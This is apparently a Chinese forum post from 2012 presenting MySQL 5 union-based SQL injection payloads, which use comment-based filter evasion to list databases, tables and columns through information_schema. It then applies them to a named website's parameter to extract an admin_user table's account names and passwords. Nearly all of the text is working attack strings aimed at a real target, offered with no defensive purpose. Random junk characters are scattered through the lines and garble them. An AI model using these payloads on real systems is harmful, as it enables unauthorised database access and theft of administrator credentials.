查库
G0 m* n5 ^1 H+ n/ l" I. S/ M" s, i' ?8 ^: g
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*! I% u+ n* ~6 o2 w O/ R7 n
3 w# a* f+ d; t: V
查表* j8 Q) Q5 u" [) u) y3 V2 T- a
1 K! M, H5 _2 uid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1$ Q# z- r M: X; [1 }% M) O* k
( k; j: J! {$ m6 O0 J查段
$ z" n, H, r( n0 Y) ]) Z( q! ]1 T Z- P
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1) L5 Y7 a( M/ x& S
4 g! a- q, |$ l# k/ o7 G: Z- z4 K" n
% G0 a/ y5 d' z* A# J3 {: u
mysql5高级注入方法暴表
& f+ V; x) G8 |. V, w7 j" m5 W7 J7 Z
例子如下:* ^7 C" K& b, w4 y4 Y A& d' \
! K+ s, N7 \4 C/ |
1.爆表, u0 ~1 N2 F" J0 G+ f7 l0 }- |# \) k
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)) P. r1 \1 L+ c& t
这样爆到第4个时出现了admin_user表。; D7 U4 L) R; j1 W) T1 s( e3 i
9 R- V5 n3 p6 w4 c2.暴字段
' N5 B2 ^3 F7 Vhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
W, P$ ]0 {* e8 a0 [8 v8 z) W3 e
/ x) @+ w; ?6 |# k3 f# M
) {( D1 E2 \7 ^3.爆密码
1 i' J( {! B9 N5 e# w; l, G+ z% Thttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/* + _9 V R% i7 R7 _
9 O1 n" {1 h& p1 m( w$ ` _, ^$ {& R# \2 R! v7 ?& ~+ J# [0 z
|
发表于 2012-9-13 16:29:37
收藏
支持
反对